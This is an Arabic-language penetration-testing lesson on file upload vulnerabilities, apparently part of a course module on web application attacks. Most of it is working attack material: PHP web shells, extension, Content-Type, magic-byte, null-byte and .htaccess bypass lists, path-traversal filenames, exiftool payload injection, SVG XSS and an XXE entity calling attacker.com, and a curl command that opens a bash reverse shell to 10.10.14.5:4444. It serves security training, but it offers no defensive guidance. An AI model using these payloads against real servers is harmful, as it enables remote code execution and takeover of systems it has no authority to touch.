هجمات تطبيقات الويب
ثغرات رفع الملفات
4 دقيقة للقراءة
وظائف رفع الملفات يمكن أن تؤدي لتنفيذ كود عن بعد إذا لم تُؤمَّن بشكل صحيح. يغطي هذا الدرس تجاوزات الرفع الشائعة.
فهم هجمات رفع الملفات
عندما تسمح التطبيقات برفع الملفات بدون تحقق مناسب، يمكن للمهاجمين:
متجهات الهجوم:
├── رفع web shells (PHP، JSP، ASP)
├── الكتابة فوق ملفات التكوين
├── رفع ملفات تنفيذية خبيثة
└── تخزين البرمجيات الخبيثة للتوزيع
رفع Web Shell الأساسي
PHP Shell بسيط
<?php system($_GET['cmd']); ?>
احفظ كـ shell.php وارفع. الوصول عبر:
http://target.com/uploads/shell.php?cmd=whoami
PHP Shell أكثر وظائف
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
تجاوز فلاتر الرفع
تجاوز القائمة السوداء للامتدادات
جرب امتدادات بديلة:
PHP:
.php3، .php4، .php5، .php7
.phtml، .phps، .pht، .phar
.PHP (تغيير الحالة)
.php.jpg (امتداد مزدوج)
ASP:
.asp، .aspx
.asa، .cer، .cdx
.ashx، .asmx
JSP:
.jsp، .jspx
.jsw، .jsv، .jspf
تجاوز Content-Type
عدّل ترويسة Content-Type في Burp Suite:
الأصلي: Content-Type: application/x-php
المعدل: Content-Type: image/jpeg
الأصلي: Content-Type: text/php
المعدل: Content-Type: image/png
تجاوز البايتات السحرية
أضف ترويسات صورة صالحة قبل كود PHP:
GIF:
GIF89a
<?php system($_GET['cmd']); ?>
PNG (hex):
\x89PNG\r\n\x1a\n
<?php system($_GET['cmd']); ?>
JPEG:
\xFF\xD8\xFF\xE0
<?php system($_GET['cmd']); ?>
تجاوز Null Byte (PHP قديم)
shell.php%00.jpg
shell.php\x00.jpg
الامتداد المزدوج
shell.php.jpg
shell.jpg.php
shell.php.png
shell.php%00.png
رفع .htaccess
إذا استطعت رفع ملفات .htaccess، مكّن تنفيذ PHP:
# محتوى .htaccess
AddType application/x-httpd-php .jpg
ثم ارفع shell.jpg يحتوي كود PHP.
اجتياز المسار في اسم الملف
حاول الرفع خارج الدليل المقصود:
filename="../shell.php"
filename="../../var/www/html/shell.php"
filename="..\..\..\inetpub\wwwroot\shell.aspx"
تضمين الصورة
حقن Exiftool
# حقن PHP في بيانات وصفية للصورة
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
# إعادة تسمية لـ .php.jpg
mv image.jpg shell.php.jpg
باستخدام GIF
# إنشاء GIF صغير مع PHP
echo -e 'GIF89a;\n<?php system($_GET["cmd"]); ?>' > shell.gif.php
رفع ملف SVG
ملفات SVG يمكن أن تحتوي نصوص برمجية خبيثة:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg onload="alert('XSS')" xmlns="http://www.w3.org/2000/svg">
<defs>
<font id="x"><font-face font-family="exploit"/></font>
</defs>
</svg>
لـ SSRF:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "http://attacker.com/"> ]>
<svg>&xxe;</svg>
منهجية الاختبار
الخطوة 1: فهم وظيفة الرفع
أسئلة للإجابة عليها:
├── ما أنواع الملفات المسموحة؟
├── أين تُخزن الملفات؟
├── هل يمكنك الوصول للملفات المرفوعة مباشرة؟
├── ما اصطلاح التسمية المستخدم؟
└── هل هناك قيود على الحجم؟
الخطوة 2: اختبار الرفع الأساسي
# PHP shell بسيط
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# حاول الرفع والوصول
الخطوة 3: جرب التجاوزات
1. تغييرات الامتداد
2. التلاعب بـ Content-Type
3. البايتات السحرية
4. الامتدادات المزدوجة
5. Null bytes
6. تغييرات الحالة
الخطوة 4: إيجاد موقع الرفع
# المواقع الشائعة
/uploads/
/images/
/files/
/media/
/attachments/
/user_uploads/
ورقة غش التجاوز
| نوع التجاوز | التقنية |
|---|---|
| القائمة السوداء للامتداد | .phtml، .php5، .phar |
| Content-Type | التغيير لـ image/jpeg |
| البايتات السحرية | إضافة بادئة GIF89a |
| الامتداد المزدوج | shell.php.jpg |
| Null byte | shell.php%00.jpg |
| تجاوز الحالة | shell.PHP، shell.Php |
| .htaccess | السماح لـ .jpg كـ PHP |
الإجراءات بعد الرفع
بعد الرفع الناجح:
# الوصول للـ shell
curl "http://target.com/uploads/shell.php?cmd=id"
# الحصول على reverse shell
curl "http://target.com/uploads/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.5/4444+0>%261'"
سير عمل اختبار رفع الملفات
1. تحديد وظيفة الرفع
2. رفع ملف عادي، تدوين الموقع
3. تجربة PHP shell بامتداد .php
4. إذا حُظر، جرب تجاوزات الامتداد
5. جرب التلاعب بـ Content-Type
6. جرب حقن البايتات السحرية
7. جرب الامتدادات المزدوجة
8. فحص رفع .htaccess
9. جرب اجتياز المسار في اسم الملف
10. الوصول للـ shell المرفوع
مع تغطية هجمات الويب، سننتقل لما بعد الاستغلال وتصعيد الصلاحيات في الوحدة التالية. :::